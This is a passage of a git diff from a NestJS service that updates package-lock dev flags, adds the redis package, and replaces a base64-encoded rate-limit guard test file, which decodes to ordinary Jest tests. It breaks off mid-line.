"sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "devOptional": true, + "dev": true, "license": "MIT", "engines": { "node": ">=0.8.19" @@ -17009,6 +17123,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -17019,6 +17134,7 @@ "version": "1.0.4", "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "dev": true, "license": "ISC", "optional": true }, @@ -17027,7 +17143,7 @@ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", - "devOptional": true, + "dev": true, "license": "ISC", "dependencies": { "once": "^1.3.0", @@ -17429,6 +17545,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", + "dev": true, "license": "MIT", "optional": true }, @@ -19392,6 +19509,7 @@ "version": "9.1.0", "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19420,6 +19538,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19433,6 +19552,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19446,6 +19566,7 @@ "version": "0.6.4", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -19456,6 +19577,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19879,6 +20001,7 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19892,6 +20015,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19905,6 +20029,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19912,6 +20037,7 @@ "version": "1.4.1", "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -19930,6 +20056,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19943,6 +20070,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19950,6 +20078,7 @@ "version": "1.0.7", "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.7.tgz", "integrity": "sha512-TbqTz9cUwWyHS2Dy89P3ocAGUGxKjjLuR9z8w4WUTGAVgEj17/4nhgo2Du56i0Fm3Pm30g4iA8Lcqctc76jCzA==", + "dev": true, "license": "BlueOak-1.0.0", "optional": true, "dependencies": { @@ -19963,6 +20092,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19976,6 +20106,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19983,6 +20114,7 @@ "version": "1.2.4", "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19996,6 +20128,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20009,6 +20142,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -20016,6 +20150,7 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20029,6 +20164,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20042,6 +20178,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -20338,6 +20475,7 @@ "version": "8.4.1", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -20389,6 +20527,7 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -20401,6 +20540,7 @@ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20422,6 +20562,7 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20436,6 +20577,7 @@ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20568,6 +20710,7 @@ "version": "5.0.0", "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20608,6 +20751,7 @@ "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", "deprecated": "This package is no longer supported.", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20938,6 +21082,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -21101,7 +21246,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - "devOptional": true, + "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" @@ -21220,6 +21365,7 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.0.tgz", "integrity": "sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==", + "dev": true, "license": "MIT", "optional": true }, @@ -21686,6 +21832,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==", + "dev": true, "license": "ISC", "optional": true }, @@ -21693,6 +21840,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -22117,6 +22265,22 @@ "node": ">= 12.13.0" } }, + "node_modules/redis": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/redis/-/redis-5.12.1.tgz", + "integrity": "sha512-LDsoVvb/CpoV9EN3FXvgvSHNJWuCIzl9MiO3ppOevuGLpSGJhwfQjpEwfFJcQvNSddHADDdZaWx0HnmMxRXG7g==", + "license": "MIT", + "dependencies": { + "@redis/bloom": "5.12.1", + "@redis/client": "5.12.1", + "@redis/json": "5.12.1", + "@redis/search": "5.12.1", + "@redis/time-series": "5.12.1" + }, + "engines": { + "node": ">= 18.19.0" + } + }, "node_modules/redis-errors": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/redis-errors/-/redis-errors-1.2.0.tgz", @@ -22348,6 +22512,7 @@ "version": "0.12.0", "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -23101,6 +23266,7 @@ "version": "4.2.0", "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -23224,6 +23390,7 @@ "version": "2.8.9", "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.9.tgz", "integrity": "sha512-LJhUYUvItdQ0LkJTmPeaEObWXAqFyfmP85x0tch/ez9cahmhlBBLbIqDFnvBnUJGagb0JbIQrkBs1wJ+yRYpEw==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -23239,6 +23406,7 @@ "version": "6.2.1", "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz", "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -23386,6 +23554,7 @@ "version": "8.0.1", "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz", "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -23399,6 +23568,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -23412,6 +23582,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -25044,6 +25215,7 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -25054,6 +25226,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -25528,6 +25701,7 @@ "version": "1.1.5", "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { diff --git a/package.json b/package.json index fa230153..6970c974 100644 --- a/package.json +++ b/package.json @@ -132,6 +132,7 @@ "pino": "^10.3.0", "prom-client": "^15.1.3", "qrcode": "^1.5.4", + "redis": "^5.12.1", "reflect-metadata": "^0.1.13", "rimraf": "^5.0.5", "rxjs": "^7.8.1", @@ -195,4 +196,4 @@ "tsconfig-paths": "^4.2.0", "typescript": "^5.9.3" } -} \ No newline at end of file +} diff --git a/src/common/guard/quota.guard.spec.ts b/src/common/guard/quota.guard.spec.ts index 3bdf84bd..24ae1512 100644 --- a/src/common/guard/quota.guard.spec.ts +++ b/src/common/guard/quota.guard.spec.ts @@ -1 +1,216 @@ -aW1wb3J0IHsgRXhlY3V0aW9uQ29udGV4dCwgSHR0cEV4Y2VwdGlvbiwgSHR0cFN0YXR1cyB9IGZyb20gIkBuZXN0anMvY29tbW9uIjsKaW1wb3J0IHsgUmVmbGVjdG9yIH0gZnJvbSAiQG5lc3Rqcy9jb3JlIjsKaW1wb3J0IHsgUXVvdGFHdWFyZCwgUXVvdGFSZWRpc0NsaWVudCB9IGZyb20gIi4vcXVvdGEuZ3VhcmQiOwppbXBvcnQgeyBFcnJvckNvZGUgfSBmcm9tICJzcmMvY29tbW9uL2Vycm9ycy9lcnJvci1jb2RlcyI7CgpmdW5jdGlvbiBjcmVhdGVDb250ZXh0KG9wdGlvbnM/OiB7CiAgdXNlcj86IHsKICAgIGlkPzogc3RyaW5nOwogICAgc3ViPzogc3RyaW5nOwogICAgYWRkcmVzcz86IHN0cmluZzsKICAgIHJvbGU/OiBzdHJpbmc7CiAgICB0aWVyPzogc3RyaW5nOwogICAgdHlwZT86IHN0cmluZzsKICAgIGFwaUtleT86IHN0cmluZzsKICB9OwogIGlwPzogc3RyaW5nOwogIG9yaWdpbmFsVXJsPzogc3RyaW5nOwogIGhlYWRlcnM/OiBSZWNvcmQ8c3RyaW5nLCBzdHJpbmc+Owp9KTogewogIGNvbnRleHQ6IEV4ZWN1dGlvbkNvbnRleHQ7CiAgcmVzcG9uc2U6IHsgaGVhZGVyOiBqZXN0Lk1vY2s7IHNldEhlYWRlcjogamVzdC5Nb2NrIH07Cn0gewogIGNvbnN0IHJlcXVlc3QgPSB7CiAgICBpcDogb3B0aW9ucz8uaXAgPz8gIjEyNy4wLjAuMSIsCiAgICBoZWFkZXJzOiBvcHRpb25zPy5oZWFkZXJzID8/IHt9LAogICAgb3JpZ2luYWxVcmw6IG9wdGlvbnM/Lm9yaWdpbmFsVXJsID8/ICIvYXBpL3Rlc3QiLAogICAgcm91dGU6IHsgcGF0aDogIi9hcGkvdGVzdCIgfSwKICAgIGF1dGhUeXBlOiBvcHRpb25zPy51c2VyPy50eXBlLAogICAgdXNlcjogb3B0aW9ucz8udXNlciwKICB9OwoKICBjb25zdCByZXNwb25zZSA9IHsKICAgIGhlYWRlcjogamVzdC5mbigpLAogICAgc2V0SGVhZGVyOiBqZXN0LmZuKCksCiAgfTsKCiAgY29uc3QgY29udGV4dCA9IHsKICAgIGdldEhhbmRsZXI6IGplc3QuZm4oKSwKICAgIGdldENsYXNzOiBqZXN0LmZuKCksCiAgICBzd2l0Y2hUb0h0dHA6ICgpID0+ICh7CiAgICAgIGdldFJlcXVlc3Q6ICgpID0+IHJlcXVlc3QsCiAgICAgIGdldFJlc3BvbnNlOiAoKSA9PiByZXNwb25zZSwKICAgIH0pLAogIH0gYXMgdW5rbm93biBhcyBFeGVjdXRpb25Db250ZXh0OwoKICByZXR1cm4geyBjb250ZXh0LCByZXNwb25zZSB9Owp9CgpmdW5jdGlvbiBjcmVhdGVSZWRpcyhpbml0aWFsID0gMCk6IHsKICBjbGllbnQ6IFF1b3RhUmVkaXNDbGllbnQ7CiAgc3RvcmU6IE1hcDxzdHJpbmcsIG51bWJlcj47CiAgZXhwaXJlczogamVzdC5Nb2NrOwp9IHsKICBjb25zdCBzdG9yZSA9IG5ldyBNYXA8c3RyaW5nLCBudW1iZXI+KCk7CiAgY29uc3QgZXhwaXJlcyA9IGplc3QuZm4oKS5tb2NrUmVzb2x2ZWQoMSk7CiAgY29uc3QgY2xpZW50OiBRdW90YVJlZGlzQ2xpZW50ID0gewogICAgaW5jcjogamVzdC5mbi5hc3luYyAoa2V5OiBzdHJpbmcpID0+IHsKICAgICAgY29uc3QgbmV4dCA9IChzdG9yZS5nZXQoa2V5KSA/PyBpbml0aWFsKSArIDE7CiAgICAgIHN0b3JlLnNldChrZXksIG5leHQpOwogICAgICByZXR1cm4gbmV4dDsKICAgIH0pLAogICAgZ2V0OiBqZXN0LmZuLmFzeW5jIChrZXk6IHN0cmluZykgPT4gewogICAgICBjb25zdCB2YWx1ZSA9IHN0b3JlLmdldChrZXkpOwogICAgICByZXR1cm4gdmFsdWUgPT09IHVuZGVmaW5lZCA/IG51bGwgOiBTdHJpbmcodmFsdWUpOwogICAgfSksCiAgICBleHBpcmU6IGV4cGlyZXMsCiAgfTsKCiAgcmV0dXJuIHsgY2xpZW50LCBzdG9yZSwgZXhwaXJlcyB9Owp9CgpkZXNjcmliZSgiUXVvdGFHdWFyZCIsICgpID0+IHsKICBsZXQgcmVmbGVjdG9yOiBSZWZsZWN0b3I7CgogIGJlZm9yZUVhY2goKCkgPT4gewogICAgcmVmbGVjdG9yID0gbmV3IFJlZmxlY3RvcigpOwogIH0pOwoKICBpdCgiYWxsb3dzIHJlcXVlc3RzIGFuZCBlbWl0cyByYXRlLWxpbWl0IGhlYWRlcnMgZm9yIHRoZSBkZWZhdWx0IHRpZXIiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3Rvcik7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHVyblZhbHVlKHVuZGVmaW5lZCk7CiAgICBjb25zdCB7IGNvbnRleHQsIHJlc3BvbnNlIH0gPSBjcmVhdGVDb250ZXh0KCk7CgogICAgYXdhaXQgZXhwZWN0KGd1YXJkLmNhbkFjdGl2YXRlKGNvbnRleHQpKS5yZXNvbHZlcy50b0JlKHRydWUpOwogICAgZXhwZWN0KHJlc3BvbnNlLmhlYWRlciku dG9IYXZlQmVlbkNhbGxlZFdpdGgoIlgtUmF0ZUxpbWl0LUxpbWl0IiwgMTAwKTsKICAgIGV4cGVjdChyZXNwb25zZS5oZWFkZXIpLnRvSGF2ZUJlZW5DYWxsZWRXaXRoKCJYLVJhdGVMaW1pdC1SZW1haW5pbmciLCA5OSk7CiAgICBleHBlY3QocmVzcG9uc2UuaGVhZGVyKS50b0hhdmVCZWVuQ2FsbGVkV2l0aCgiWC1SYXRlTGltaXQtVGllciIsICJmcmVlIik7CiAgfSk7CgogIGl0KCJ1c2VzIHRoZSBhdXRoZW50aWNhdGVkIHVzZXIgdGllciB3aGVuIG9uZSBpcyBhdmFpbGFibGUiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3Rvcik7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHVyblZhbHVlKHVuZGVmaW5lZCk7CiAgICBjb25zdCB7IGNvbnRleHQsIHJlc3BvbnNlIH0gPSBjcmVhdGVDb250ZXh0KHsKICAgICAgdXNlcjogeyBpZDogInVzZXItMSIsIHJvbGU6ICJhZG1pbiIgfSwKICAgIH0pOwoKICAgIGF3YWl0IGV4cGVjdChndWFyZC5jYW5BY3RpdmF0ZShjb250ZXh0KSkucmVzb2x2ZXMudG9CZSh0cnVlKTsKICAgIGV4cGVjdChyZXNwb25zZS5oZWFkZXIpLnRvSGF2ZUJlZW5DYWxsZWRXaXRoKAogICAgICAiWC1SYXRlTGltaXQtVGllciIsCiAgICAgICJlbnRlcnByaXNlIiwKICAgICk7CiAgfSk7CgogIGl0KCJyZWplY3RzIHJlcXVlc3RzIGFmdGVyIHRoZSBjb25maWd1cmVkIGxpbWl0IGlzIHJlYWNoZWQiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3Rvcik7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHVyblZhbHVlKHsKICAgICAgbGV2ZWw6ICJhdXRoIiwKICAgICAgbGltaXQ6IDEsCiAgICAgIHdpbmRvd01zOiA2MF8wMDAsCiAgICB9KTsKCiAgICBjb25zdCB7IGNvbnRleHQgfSA9IGNyZWF0ZUNvbnRleHQoewogICAgICB1c2VyOiB7IGlkOiAidXNlci0yIiwgcm9sZTogInVzZXIiIH0sCiAgICB9KTsKCiAgICBhd2FpdCBleHBlY3QoZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCkpLnJlc29sdmVzLnRvQmUodHJ1ZSk7CgogICAgdHJ5IHsKICAgICAgYXdhaXQgZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCk7CiAgICAgIHRocm93IG5ldyBFcnJvcigiRXhwZWN0ZWQgcmF0ZSBsaW1pdCByZWplY3Rpb24iKTsKICAgIH0gY2F0Y2ggKGVycm9yKSB7CiAgICAgIGV4cGVjdChlcnJvcikudG9CbGVJbnN0YW5jZU9mKEh0dHBFeGNlcHRpb24pOwogICAgICBleHBlY3QoKGVycm9yIGFzIEh0dHBFeGNlcHRpb24pLmdldFN0YXR1cygpKS50b0JlKAogICAgICAgIEh0dHBTdGF0dXMuVE9PX01BTllfUkVRVUVTVFMsCiAgICAgICk7CiAgICB9CiAgfSk7CgogIGl0KCJpbmNyZW1lbnRzIHRoZSBtb250aGx5IFJlZGlzIGNvdW50ZXIgYW5kIGVtaXRzIHF1b3RhIGhlYWRlcnMiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCB7IGNsaWVudCwgc3RvcmUsIGV4cGlyZXMgfSA9IGNyZWF0ZVJlZGlzKCk7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3RvciwgY2xpZW50KTsKICAgIGplc3Quc3B5T24ocmVmbGVjdG9yLCAiZ2V0QWxsQW5kT3ZlcnJpZGUiKS5tb2NrUmV0dXJuVmFsdWUodW5kZWZpbmVkKTsKICAgIGNvbnN0IHsgY29udGV4dCwgcmVzcG9uc2UgfSA9IGNyZWF0ZUNvbnRleHQoewogICAgICB1c2VyOiB7IGlkOiAidXNlci0zIiwgYXBpS2V5OiAia2V5LTEiLCB0aWVyOiAiZnJlZSIgfSwKICAgIH0pOwoKICAgIGF3YWl0IGV4cGVjdChndWFyZC5jYW5BY3RpdmF0ZShjb250ZXh0KSkucmVzb2x2ZXMudG9CZSh0cnVlKTsKCiAgICBjb25zdCBtb250aEtleSA9IEFycmF5LmZyb20oc3RvcmUua2V5cygpKVswXTsKICAgIGV4cGVjdChtb250aEtleSkudG9NYXRjaCgvXnF1b3RhOmtleS0xOlxkewR9LVxkewJ9JC8pOwogICAgZ